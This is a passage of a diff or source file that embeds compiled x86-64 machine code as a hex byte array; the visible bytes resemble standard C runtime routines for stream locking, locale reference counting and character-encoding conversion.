0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, + 0x54, 0xab, 0xff, 0xff, 0x90, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0x15, 0x35, + 0x22, 0x01, 0x00, 0x8b, 0xca, 0x48, 0x33, 0x15, 0xec, 0x3e, 0x01, 0x00, + 0x83, 0xe1, 0x3f, 0x48, 0xd3, 0xca, 0x48, 0x85, 0xd2, 0x0f, 0x95, 0xc0, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x0d, 0xd5, 0x3e, 0x01, 0x00, 0xc3, + 0x48, 0x8b, 0x15, 0x0d, 0x22, 0x01, 0x00, 0x4c, 0x8b, 0xc1, 0x8b, 0xca, + 0x48, 0x33, 0x15, 0xc1, 0x3e, 0x01, 0x00, 0x83, 0xe1, 0x3f, 0x48, 0xd3, + 0xca, 0x48, 0x85, 0xd2, 0x75, 0x03, 0x33, 0xc0, 0xc3, 0x49, 0x8b, 0xc8, + 0x48, 0x8b, 0xc2, 0x48, 0xff, 0x25, 0xe6, 0x74, 0x00, 0x00, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x57, 0x48, + 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x49, 0x8b, 0xd8, 0x48, 0x8b, 0x0a, + 0xe8, 0xf3, 0xd5, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x53, 0x08, 0x48, 0x8b, + 0x03, 0x48, 0x8b, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x5a, 0x8b, 0x48, 0x14, + 0x8b, 0xc1, 0xc1, 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x4e, 0x8b, 0xc1, 0x24, + 0x03, 0x3c, 0x02, 0x75, 0x05, 0xf6, 0xc1, 0xc0, 0x75, 0x0a, 0x0f, 0xba, + 0xe1, 0x0b, 0x72, 0x04, 0xff, 0x02, 0xeb, 0x37, 0x48, 0x8b, 0x43, 0x10, + 0x80, 0x38, 0x00, 0x75, 0x0f, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0x08, 0x8b, + 0x41, 0x14, 0xd1, 0xe8, 0xa8, 0x01, 0x74, 0x1f, 0x48, 0x8b, 0x03, 0x48, + 0x8b, 0x08, 0xe8, 0xe5, 0x01, 0x00, 0x00, 0x83, 0xf8, 0xff, 0x74, 0x08, + 0x48, 0x8b, 0x43, 0x08, 0xff, 0x00, 0xeb, 0x07, 0x48, 0x8b, 0x43, 0x18, + 0x83, 0x08, 0xff, 0x48, 0x8b, 0x0f, 0xe8, 0x8d, 0xd5, 0xff, 0xff, 0x48, + 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x4c, 0x89, 0x4c, 0x24, 0x20, 0x56, 0x57, + 0x41, 0x56, 0x48, 0x83, 0xec, 0x60, 0x49, 0x8b, 0xf1, 0x49, 0x8b, 0xf8, + 0x8b, 0x0a, 0xe8, 0xc1, 0xdf, 0xff, 0xff, 0x90, 0x48, 0x8b, 0x1d, 0x39, + 0x35, 0x01, 0x00, 0x48, 0x63, 0x05, 0x2a, 0x35, 0x01, 0x00, 0x4c, 0x8d, + 0x34, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x49, 0x3b, 0xde, 0x0f, 0x84, + 0x88, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x03, 0x48, 0x89, 0x44, 0x24, 0x20, + 0x48, 0x8b, 0x17, 0x48, 0x85, 0xc0, 0x74, 0x21, 0x8b, 0x48, 0x14, 0x8b, + 0xc1, 0xc1, 0xe8, 0x0d, 0xa8, 0x01, 0x74, 0x15, 0x8b, 0xc1, 0x24, 0x03, + 0x3c, 0x02, 0x75, 0x05, 0xf6, 0xc1, 0xc0, 0x75, 0x0e, 0x0f, 0xba, 0xe1, + 0x0b, 0x72, 0x08, 0xff, 0x02, 0x48, 0x83, 0xc3, 0x08, 0xeb, 0xbb, 0x48, + 0x8b, 0x57, 0x10, 0x48, 0x8b, 0x4f, 0x08, 0x48, 0x8b, 0x07, 0x4c, 0x8d, + 0x44, 0x24, 0x20, 0x4c, 0x89, 0x44, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, + 0x48, 0x48, 0x89, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x54, 0x24, 0x58, 0x48, + 0x8b, 0x44, 0x24, 0x20, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x44, + 0x24, 0x30, 0x4c, 0x8d, 0x4c, 0x24, 0x28, 0x4c, 0x8d, 0x44, 0x24, 0x40, + 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8d, 0x8c, 0x24, 0x88, 0x00, 0x00, + 0x00, 0xe8, 0x9e, 0xfe, 0xff, 0xff, 0xeb, 0xa9, 0x8b, 0x0e, 0xe8, 0x65, + 0xdf, 0xff, 0xff, 0x48, 0x8b, 0x9c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, + 0x83, 0xc4, 0x60, 0x41, 0x5e, 0x5f, 0x5e, 0xc3, 0x88, 0x4c, 0x24, 0x08, + 0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x40, 0x83, 0x65, 0x28, 0x00, + 0x48, 0x8d, 0x45, 0x28, 0x83, 0x65, 0x20, 0x00, 0x4c, 0x8d, 0x4d, 0xe0, + 0x48, 0x89, 0x45, 0xe8, 0x4c, 0x8d, 0x45, 0xe8, 0x48, 0x8d, 0x45, 0x10, + 0x48, 0x89, 0x45, 0xf0, 0x48, 0x8d, 0x55, 0xe4, 0x48, 0x8d, 0x45, 0x20, + 0x48, 0x89, 0x45, 0xf8, 0x48, 0x8d, 0x4d, 0x18, 0xb8, 0x08, 0x00, 0x00, + 0x00, 0x89, 0x45, 0xe0, 0x89, 0x45, 0xe4, 0xe8, 0xd4, 0xfe, 0xff, 0xff, + 0x80, 0x7d, 0x10, 0x00, 0x8b, 0x45, 0x20, 0x0f, 0x45, 0x45, 0x28, 0x48, + 0x83, 0xc4, 0x40, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, + 0x8b, 0xd9, 0x8b, 0x49, 0x14, 0x8b, 0xc1, 0x24, 0x03, 0x3c, 0x02, 0x75, + 0x4b, 0xf6, 0xc1, 0xc0, 0x74, 0x46, 0x8b, 0x3b, 0x2b, 0x7b, 0x08, 0x83, + 0x63, 0x10, 0x00, 0x48, 0x8b, 0x73, 0x08, 0x48, 0x89, 0x33, 0x85, 0xff, + 0x7e, 0x32, 0x48, 0x8b, 0xcb, 0xe8, 0x52, 0xd2, 0xff, 0xff, 0x8b, 0xc8, + 0x44, 0x8b, 0xc7, 0x48, 0x8b, 0xd6, 0xe8, 0xf5, 0x40, 0x00, 0x00, 0x3b, + 0xf8, 0x74, 0x0a, 0xf0, 0x83, 0x4b, 0x14, 0x10, 0x83, 0xc8, 0xff, 0xeb, + 0x11, 0x8b, 0x43, 0x14, 0xc1, 0xe8, 0x02, 0xa8, 0x01, 0x74, 0x05, 0xf0, + 0x83, 0x63, 0x14, 0xfd, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, + 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, + 0x75, 0x0a, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xe9, 0x0c, 0xff, 0xff, 0xff, + 0xe8, 0x67, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x21, 0x8b, 0x43, 0x14, + 0xc1, 0xe8, 0x0b, 0xa8, 0x01, 0x74, 0x13, 0x48, 0x8b, 0xcb, 0xe8, 0xe1, + 0xd1, 0xff, 0xff, 0x8b, 0xc8, 0xe8, 0x7a, 0x37, 0x00, 0x00, 0x85, 0xc0, + 0x75, 0x04, 0x33, 0xc0, 0xeb, 0x03, 0x83, 0xc8, 0xff, 0x48, 0x83, 0xc4, + 0x20, 0x5b, 0xc3, 0xcc, 0xb1, 0x01, 0xe9, 0xd1, 0xfe, 0xff, 0xff, 0xcc, + 0xf0, 0xff, 0x41, 0x10, 0x48, 0x8b, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x48, + 0x85, 0xc0, 0x74, 0x03, 0xf0, 0xff, 0x00, 0x48, 0x8b, 0x81, 0xf0, 0x00, + 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x03, 0xf0, 0xff, 0x00, 0x48, 0x8b, + 0x81, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x03, 0xf0, 0xff, + 0x00, 0x48, 0x8b, 0x81, 0x00, 0x01, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, + 0x03, 0xf0, 0xff, 0x00, 0x48, 0x8d, 0x41, 0x38, 0x41, 0xb8, 0x06, 0x00, + 0x00, 0x00, 0x48, 0x8d, 0x15, 0xb7, 0x21, 0x01, 0x00, 0x48, 0x39, 0x50, + 0xf0, 0x74, 0x0b, 0x48, 0x8b, 0x10, 0x48, 0x85, 0xd2, 0x74, 0x03, 0xf0, + 0xff, 0x02, 0x48, 0x83, 0x78, 0xe8, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x50, + 0xf8, 0x48, 0x85, 0xd2, 0x74, 0x03, 0xf0, 0xff, 0x02, 0x48, 0x83, 0xc0, + 0x20, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xcb, 0x48, 0x8b, 0x89, 0x20, 0x01, + 0x00, 0x00, 0xe9, 0x79, 0x01, 0x00, 0x00, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x81, 0xf8, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0xd9, 0x48, 0x85, 0xc0, 0x74, 0x79, 0x48, 0x8d, 0x0d, 0xaa, 0x26, + 0x01, 0x00, 0x48, 0x3b, 0xc1, 0x74, 0x6d, 0x48, 0x8b, 0x83, 0xe0, 0x00, + 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x61, 0x83, 0x38, 0x00, 0x75, 0x5c, + 0x48, 0x8b, 0x8b, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x16, + 0x83, 0x39, 0x00, 0x75, 0x11, 0xe8, 0x1a, 0xbc, 0xff, 0xff, 0x48, 0x8b, + 0x8b, 0xf8, 0x00, 0x00, 0x00, 0xe8, 0xa2, 0x1f, 0x00, 0x00, 0x48, 0x8b, + 0x8b, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x16, 0x83, 0x39, + 0x00, 0x75, 0x11, 0xe8, 0xf8, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0xf8, + 0x00, 0x00, 0x00, 0xe8, 0x8c, 0x20, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0xe0, + 0x00, 0x00, 0x00, 0xe8, 0xe0, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0xf8, + 0x00, 0x00, 0x00, 0xe8, 0xd4, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x83, 0x00, + 0x01, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x47, 0x83, 0x38, 0x00, 0x75, + 0x42, 0x48, 0x8b, 0x8b, 0x08, 0x01, 0x00, 0x00, 0x48, 0x81, 0xe9, 0xfe, + 0x00, 0x00, 0x00, 0xe8, 0xb0, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x10, + 0x01, 0x00, 0x00, 0xbf, 0x80, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xcf, 0xe8, + 0x9c, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x18, 0x01, 0x00, 0x00, 0x48, + 0x2b, 0xcf, 0xe8, 0x8d, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x00, 0x01, + 0x00, 0x00, 0xe8, 0x81, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x20, 0x01, + 0x00, 0x00, 0xe8, 0xa5, 0x00, 0x00, 0x00, 0x48, 0x8d, 0xb3, 0x28, 0x01, + 0x00, 0x00, 0xbd, 0x06, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x7b, 0x38, 0x48, + 0x8d, 0x05, 0x6a, 0x20, 0x01, 0x00, 0x48, 0x39, 0x47, 0xf0, 0x74, 0x1a, + 0x48, 0x8b, 0x0f, 0x48, 0x85, 0xc9, 0x74, 0x12, 0x83, 0x39, 0x00, 0x75, + 0x0d, 0xe8, 0x46, 0xbb, 0xff, 0xff, 0x48, 0x8b, 0x0e, 0xe8, 0x3e, 0xbb, + 0xff, 0xff, 0x48, 0x83, 0x7f, 0xe8, 0x00, 0x74, 0x13, 0x48, 0x8b, 0x4f, + 0xf8, 0x48, 0x85, 0xc9, 0x74, 0x0a, 0x83, 0x39, 0x00, 0x75, 0x05, 0xe8, + 0x24, 0xbb, 0xff, 0xff, 0x48, 0x83, 0xc6, 0x08, 0x48, 0x83, 0xc7, 0x20, + 0x48, 0x83, 0xed, 0x01, 0x75, 0xb1, 0x48, 0x8b, 0xcb, 0x48, 0x8b, 0x5c, + 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, + 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xe9, 0xfa, 0xba, 0xff, 0xff, 0xcc, 0xcc, + 0x48, 0x85, 0xc9, 0x74, 0x1c, 0x48, 0x8d, 0x05, 0x60, 0x88, 0x00, 0x00, + 0x48, 0x3b, 0xc8, 0x74, 0x10, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xf0, 0x0f, + 0xc1, 0x81, 0x5c, 0x01, 0x00, 0x00, 0xff, 0xc0, 0xc3, 0xb8, 0xff, 0xff, + 0xff, 0x7f, 0xc3, 0xcc, 0x48, 0x85, 0xc9, 0x74, 0x30, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8d, 0x05, 0x33, 0x88, 0x00, 0x00, 0x48, 0x8b, 0xd9, + 0x48, 0x3b, 0xc8, 0x74, 0x17, 0x8b, 0x81, 0x5c, 0x01, 0x00, 0x00, 0x85, + 0xc0, 0x75, 0x0d, 0xe8, 0x0c, 0x20, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, + 0xa0, 0xba, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, + 0x48, 0x85, 0xc9, 0x74, 0x1a, 0x48, 0x8d, 0x05, 0x00, 0x88, 0x00, 0x00, + 0x48, 0x3b, 0xc8, 0x74, 0x0e, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x81, + 0x5c, 0x01, 0x00, 0x00, 0xff, 0xc8, 0xc3, 0xb8, 0xff, 0xff, 0xff, 0x7f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x85, 0xc9, 0x0f, + 0x84, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0xc9, 0xff, 0xf0, 0x44, 0x01, + 0x49, 0x10, 0x48, 0x8b, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, + 0x74, 0x04, 0xf0, 0x44, 0x01, 0x08, 0x48, 0x8b, 0x81, 0xf0, 0x00, 0x00, + 0x00, 0x48, 0x85, 0xc0, 0x74, 0x04, 0xf0, 0x44, 0x01, 0x08, 0x48, 0x8b, + 0x81, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x04, 0xf0, 0x44, + 0x01, 0x08, 0x48, 0x8b, 0x81, 0x00, 0x01, 0x00, 0x00, 0x48, 0x85, 0xc0, + 0x74, 0x04, 0xf0, 0x44, 0x01, 0x08, 0x48, 0x8d, 0x41, 0x38, 0x41, 0xb8, + 0x06, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x15, 0x15, 0x1f, 0x01, 0x00, 0x48, + 0x39, 0x50, 0xf0, 0x74, 0x0c, 0x48, 0x8b, 0x10, 0x48, 0x85, 0xd2, 0x74, + 0x04, 0xf0, 0x44, 0x01, 0x0a, 0x48, 0x83, 0x78, 0xe8, 0x00, 0x74, 0x0d, + 0x48, 0x8b, 0x50, 0xf8, 0x48, 0x85, 0xd2, 0x74, 0x04, 0xf0, 0x44, 0x01, + 0x0a, 0x48, 0x83, 0xc0, 0x20, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xc9, 0x48, + 0x8b, 0x89, 0x20, 0x01, 0x00, 0x00, 0xe8, 0x35, 0xff, 0xff, 0xff, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, + 0xec, 0x20, 0xe8, 0xbd, 0xb3, 0xff, 0xff, 0x48, 0x8d, 0xb8, 0x90, 0x00, + 0x00, 0x00, 0x8b, 0x88, 0xa8, 0x03, 0x00, 0x00, 0x8b, 0x05, 0xfa, 0x23, + 0x01, 0x00, 0x85, 0xc8, 0x74, 0x08, 0x48, 0x8b, 0x1f, 0x48, 0x85, 0xdb, + 0x75, 0x2c, 0xb9, 0x04, 0x00, 0x00, 0x00, 0xe8, 0x64, 0xda, 0xff, 0xff, + 0x90, 0x48, 0x8b, 0x15, 0x04, 0x30, 0x01, 0x00, 0x48, 0x8b, 0xcf, 0xe8, + 0x28, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0xb9, 0x04, 0x00, 0x00, 0x00, + 0xe8, 0x9b, 0xda, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x74, 0x0e, 0x48, 0x8b, + 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, + 0xe8, 0x7f, 0xae, 0xff, 0xff, 0x90, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xfa, 0x48, 0x85, 0xd2, + 0x74, 0x46, 0x48, 0x85, 0xc9, 0x74, 0x41, 0x48, 0x8b, 0x19, 0x48, 0x3b, + 0xda, 0x75, 0x05, 0x48, 0x8b, 0xc7, 0xeb, 0x36, 0x48, 0x89, 0x39, 0x48, + 0x8b, 0xcf, 0xe8, 0x2d, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xdb, 0x74, 0xeb, + 0x48, 0x8b, 0xcb, 0xe8, 0xac, 0xfe, 0xff, 0xff, 0x83, 0x7b, 0x10, 0x00, + 0x75, 0xdd, 0x48, 0x8d, 0x05, 0xb3, 0x1c, 0x01, 0x00, 0x48, 0x3b, 0xd8, + 0x74, 0xd1, 0x48, 0x8b, 0xcb, 0xe8, 0x92, 0xfc, 0xff, 0xff, 0xeb, 0xc7, + 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, + 0xc3, 0xcc, 0xcc, 0xcc, 0x8b, 0x05, 0xee, 0x37, 0x01, 0x00, 0xc3, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x40, 0x48, 0x63, 0xd9, 0x48, 0x8d, 0x4c, + 0x24, 0x20, 0xe8, 0x41, 0x8a, 0xff, 0xff, 0x8d, 0x43, 0x01, 0x3d, 0x00, + 0x01, 0x00, 0x00, 0x77, 0x13, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x8b, + 0x08, 0x0f, 0xb7, 0x04, 0x59, 0x25, 0x00, 0x80, 0x00, 0x00, 0xeb, 0x02, + 0x33, 0xc0, 0x80, 0x7c, 0x24, 0x38, 0x00, 0x74, 0x0c, 0x48, 0x8b, 0x4c, + 0x24, 0x20, 0x83, 0xa1, 0xa8, 0x03, 0x00, 0x00, 0xfd, 0x48, 0x83, 0xc4, + 0x40, 0x5b, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, + 0xd9, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0xcd, 0x3f, 0x00, 0x00, 0x48, + 0x83, 0xf8, 0x04, 0x77, 0x1a, 0x8b, 0x54, 0x24, 0x20, 0xb9, 0xfd, 0xff, + 0x00, 0x00, 0x81, 0xfa, 0xff, 0xff, 0x00, 0x00, 0x0f, 0x47, 0xd1, 0x48, + 0x85, 0xdb, 0x74, 0x03, 0x66, 0x89, 0x13, 0x48, 0x83, 0xc4, 0x30, 0x5b, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c, + 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, + 0x83, 0xec, 0x20, 0x48, 0x8b, 0x3a, 0x45, 0x33, 0xed, 0x4d, 0x8b, 0xe1, + 0x49, 0x8b, 0xe8, 0x4c, 0x8b, 0xf2, 0x4c, 0x8b, 0xf9, 0x48, 0x85, 0xc9, + 0x0f, 0x84, 0xee, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd9, 0x4d, 0x85, 0xc0, + 0x0f, 0x84, 0xa1, 0x00, 0x00, 0x00, 0x44, 0x38, 0x2f, 0x75, 0x08, 0x41, + 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x1d, 0x44, 0x38, 0x6f, 0x01, 0x75, + 0x08, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0xeb, 0x0f, 0x8a, 0x47, 0x02, + 0xf6, 0xd8, 0x4d, 0x1b, 0xc0, 0x49, 0xf7, 0xd8, 0x49, 0x83, 0xc0, 0x03, + 0x4d, 0x8b, 0xcc, 0x48, 0x8d, 0x4c, 0x24, 0x50, 0x48, 0x8b, 0xd7, 0xe8, + 0x2c, 0x3f, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x48, 0x83, 0xf8, 0xff, 0x74, + 0x75, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x8b, 0x4c, 0x24, 0x50, 0x81, 0xf9, + 0xff, 0xff, 0x00, 0x00, 0x76, 0x39, 0x48, 0x83, 0xfd, 0x01, 0x76, 0x47, + 0x81, 0xc1, 0x00, 0x00, 0xff, 0xff, 0x41, 0xb8, 0x00, 0xd8, 0x00, 0x00, + 0x8b, 0xc1, 0x89, 0x4c, 0x24, 0x50, 0xc1, 0xe8, 0x0a, 0x48, 0xff, 0xcd, + 0x66, 0x41, 0x0b, 0xc0, 0x66, 0x89, 0x03, 0xb8, 0xff, 0x03, 0x00, 0x00, + 0x66, 0x23, 0xc8, 0x48, 0x83, 0xc3, 0x02, 0xb8, 0x00, 0xdc, 0x00, 0x00, + 0x66, 0x0b, 0xc8, 0x66, 0x89, 0x0b, 0x48, 0x03, 0xfa, 0x48, 0x83, 0xc3, + 0x02, 0x48, 0x83, 0xed, 0x01, 0x0f, 0x85, 0x5f, 0xff, 0xff, 0xff, 0x49, + 0x2b, 0xdf, 0x49, 0x89, 0x3e, 0x48, 0xd1, 0xfb, 0x48, 0x8b, 0xc3, 0xeb, + 0x1b, 0x49, 0x8b, 0xfd, 0x66, 0x44, 0x89, 0x2b, 0xeb, 0xe9, 0x49, 0x89, + 0x3e, 0xe8, 0x42, 0xb7, 0xff, 0xff, 0xc7, 0x00, 0x2a, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x58, 0x48, 0x8b, 0x6c, + 0x24, 0x60, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, + 0x41, 0x5c, 0x5f, 0xc3, 0x49, 0x8b, 0xdd, 0x44, 0x38, 0x2f, 0x75, 0x08, + 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x1d, 0x44, 0x38, 0x6f, 0x01, + 0x75, 0x08, 0x41, 0xb8, 0x02, 0x00, 0x00, 0x00, 0xeb, 0x0f, 0x8a, 0x47, + 0x02, 0xf6, 0xd8, 0x4d, 0x1b, 0xc0, 0x49, 0xf7, 0xd8, 0x49, 0x83, 0xc0, + 0x03, 0x4d, 0x8b, 0xcc, 0x48, 0x8b, 0xd7, 0x33, 0xc9, 0xe8, 0x4a, 0x3e, + 0x00, 0x00, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x99, 0x48, 0x85, 0xc0, 0x74, + 0x83, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x03, 0x48, 0xff, 0xc3, 0x48, 0x03, + 0xf8, 0x48, 0xff, 0xc3, 0xeb, 0xad, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x48, 0x85, 0xc9, 0x75, 0x0e, 0x49, 0x83, 0x20, 0x00, 0xb8, 0x01, 0x00, + 0x00, 0x00, 0xe9, 0x97, 0x00, 0x00, 0x00, 0x85, 0xd2, 0x75, 0x04, 0x88, + 0x11, 0xeb, 0xea, 0xf7, 0xc2, 0x80, 0xff, 0xff, 0xff, 0x75, 0x04, 0x88, + 0x11, 0xeb, 0xe2, 0xf7, 0xc2, 0x00, 0xf8, 0xff, 0xff, 0x75, 0x0b, 0x41, + 0xb9, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb2, 0xc0, 0xeb, 0x39, 0xf7, 0xc2, + 0x00, 0x00, 0xff, 0xff, 0x75, 0x18, 0x8d, 0x82, 0x00, 0x28, 0xff, 0xff, + 0x3d, 0xff, 0x07, 0x00, 0x00, 0x76, 0x48, 0x41, 0xb9, 0x02, 0x00, 0x00, + 0x00, 0x41, 0xb2, 0xe0, 0xeb, 0x19, 0xf7, 0xc2, 0x00, 0x00, 0xe0, 0xff, + 0x75, 0x35, 0x81, 0xfa, 0xff, 0xff, 0x10, 0x00, 0x77, 0x2d, 0x41, 0xb9, + 0x03, 0x00, 0x00, 0x00, 0x41, 0xb2, 0xf0, 0x4d, 0x8b, 0xd9, 0x8a, 0xc2, + 0xc1, 0xea, 0x06, 0x24, 0x3f, 0x0c, 0x80, 0x41, 0x88, 0x04, 0x0b, 0x49, + 0x83, 0xeb, 0x01, 0x75, 0xed, 0x41, 0x0a, 0xd2, 0x49, 0x8d, 0x41, 0x01, + 0x88, 0x11, 0x4d, 0x21, 0x18, 0xeb, 0x13, 0x49, 0x83, 0x20, 0x00, 0xe8, + 0x24, 0xb6, 0xff, 0xff, 0xc7, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x48, 0x83, + 0xc8, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20, 0x4d, 0x8b, 0xf1, 0x4c, + 0x8b, 0xf9, 0x48, 0x85, 0xc9, 0x75, 0x18, 0xe8, 0xec, 0xb5, 0xff, 0xff, + 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0xc0, 0xb4, 0xff, 0xff, + 0x8b, 0xc3, 0xe9, 0x07, 0x01, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x74, 0xe3, + 0x33, 0xc0, 0xc6, 0x01, 0x00, 0x45, 0x85, 0xc0, 0x41, 0x0f, 0x4f, 0xc0, + 0xff, 0xc0, 0x48, 0x98, 0x48, 0x3b, 0xd0, 0x77, 0x0c, 0xe8, 0xba, 0xb5, + 0xff, 0xff, 0xbb, 0x22, 0x00, 0x00, 0x00, 0xeb, 0xcc, 0x4d, 0x85, 0xf6, + 0x74, 0xbd, 0x49, 0x8b, 0x79, 0x08, 0x48, 0x8d, 0x59, 0x01, 0xc6, 0x01, + 0x30, 0xeb, 0x15, 0x8a, 0x07, 0x84, 0xc0, 0x74, 0x05, 0x48, 0xff, 0xc7, + 0xeb, 0x02, 0xb0, 0x30, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x41, 0xff, 0xc8, + 0x45, 0x85, 0xc0, 0x7f, 0xe6, 0xc6, 0x03, 0x00, 0x0f, 0x88, 0x80, 0x00, + 0x00, 0x00, 0x83, 0x7c, 0x24, 0x68, 0x00, 0x41, 0x8b, 0x31, 0x75, 0x08, + 0x80, 0x3f, 0x35, 0x0f, 0x9d, 0xc0, 0xeb, 0x58, 0xe8, 0xb3, 0x17, 0x00, + 0x00, 0x85, 0xc0, 0x75, 0x29, 0x80, 0x3f, 0x35, 0x7f, 0x53, 0x7c, 0x5e, + 0x83, 0x7c, 0x24, 0x60, 0x00, 0x48, 0x8d, 0x47, 0x01, 0x74, 0x46, 0xeb, + 0x03, 0x48, 0xff, 0xc0, 0x8a, 0x08, 0x80, 0xf9, 0x30, 0x74, 0xf6, 0x84, + 0xc9, 0x75, 0x36, 0x8a, 0x47, 0xff, 0x24, 0x01, 0xeb, 0x26, 0x3d, 0x00, + 0x02, 0x00, 0x00, 0x75, 0x0a, 0x80, 0x3f, 0x30, 0x74, 0x30, 0x83, 0xfe, + 